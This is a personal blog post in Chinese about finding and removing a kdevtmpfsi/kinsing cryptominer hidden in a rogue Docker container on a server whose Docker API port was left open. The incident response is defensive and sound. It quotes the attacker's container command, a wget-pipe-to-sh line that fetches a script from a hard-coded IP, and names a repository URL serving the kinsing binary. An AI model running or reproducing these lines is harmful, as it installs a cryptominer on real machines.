![一次在docker中處理kdevtmpfsi的經歷](https://i.iter01.com/images/926faed7778e4c264b08668015d7f1b05131acb63c4da1173e76b46b50e64c3e.png)
下午的時候工友突然問我的小水管有沒有被拉過去挖礦,然後讓我看了一眼簡訊截圖。嘖嘖嘖,是不是在伺服器上下了什麼不該下的東西?本著工友之間友好互助的原則,要來了伺服器的密碼開搞。
拿到機器第一件事應該是看哪個程式佔用CPU。使用top觀察了一會兒,kdevtmpfsi這個程式CPU一直在99左右,應該就是它了。
![一次在docker中處理kdevtmpfsi的經歷](https://i.iter01.com/images/eefca551ff4ba1ca3730d2202a7523087a4156406e7dfc00b6e19835e50f9add.png)
依照上次伺服器被掛馬的經歷,首先應該檢查伺服器是否有可疑的定時任務。使用crontab -l命令來檢視當前的伺服器的定時任務。
![一次在docker中處理kdevtmpfsi的經歷](https://i.iter01.com/images/fdfd481faa500b8cd24593b8f011eb149f13a785f1545c4fc25eaebfeed2162b.png)
![一次在docker中處理kdevtmpfsi的經歷](https://i.iter01.com/images/c995aefc3b3380275c614a029513d412e5ab8d67c18992ddecfc2b0ffe28d5f4.png)
看到這個東西的時候,感覺有點摸不著頭腦,居然跟docker有關,接著使用docker ps -a 檢視本地正在執行的容器。其他容器我都認識,這個ubuntu的容器是偷渡來的吧?
![一次在docker中處理kdevtmpfsi的經歷](https://i.iter01.com/images/868254459df9ed7c6dd89df9c58394b923d4f4a9311b86fd373a347962912c02.png)
先觀察一下這個ubuntu容器,docker inspect ubuntu。
![一次在docker中處理kdevtmpfsi的經歷](https://i.iter01.com/images/19fc69832206efee249f2e3f8a0fbb4fce9285af18fdda3e03c3bc71bb4e4169.png)
"apt-get update && apt-get install -y wget cron;service cron start; wget -q -O - 142.44.191.122/d.sh | sh;tail -f /dev/null"。看到這個args裡面出現cron start,看來這個cronjob藏在容器裡,還好這個東西隻影響docker容器裡的東西,如果在宿主機上,那不是爆炸了。這麼說的話,基本只要把docker停掉,就不會有後續的問題了,但是如果還想繼續用docker的話,還要繼續下去。
使用命令docker exec -ti ubuntu /bin/bash進入容器。在容器中,先使用top命令,看看是不是真的是這個容器的問題,實錘了,就是它。
![一次在docker中處理kdevtmpfsi的經歷](https://i.iter01.com/images/75330481cf45d1403e47436a535e05b91136ad15b9fa59eadae289a03935d6aa.png)
通過crontab -l來檢視當前容器的cronjob,每分鐘去執行一遍d.sh這個指令碼。
![一次在docker中處理kdevtmpfsi的經歷](https://i.iter01.com/images/fdd5d61f27a467d3a40b219d862d63adbe34508902a96133ab24f77fee99a6f5.png)
既然找到了定時任務,刪掉就好了,但是在/etc/crontab中找不到該定時任務,可以使用crontab -e命令來刪除。看到top命令中,有兩個可疑的程式kdevtmpfs和kinsing,通過kill {PID}來殺掉程式。除了殺掉程式,還要刪除跟這兩個程式相關的檔案。通過find命令找到在/tmp和/var/tmp下有殘留的檔案,使用sudo rm -rf命令刪除時出現rm: cannot remove 'xxx': Operation not permitted,震驚。Google後發現大概是用了chattr命令鎖定了檔案,使用chattr -i filename解鎖,清理殘留後,刪除本地的映象和容器也就差不多了。
你以為這樣的結束了嗎?實際上第二天ubuntu這個映象又自動拉下來自己啟動起來了。後來才發現,工友的阿里雲伺服器開放了docker預設埠2375,關掉這個埠就完事了。
其實上面這些都是廢話,把docker停掉不就沒這麼多事情了,不過上面解決問題的過程也適用於宿主機,就當一次演習了。雖然上面一頓操作猛如虎,但是實際上還是沒解決根本問題讓我確實有點挫敗。後來瞄了一樣別人的shell指令碼,各種刪除解許可權,刪程式,停服務,關閉防火牆。後面去https://bitbucket.org/orgaj125/git 下載kinsing並執行起來。即使知道別人怎麼搞你,但是無能為力啊。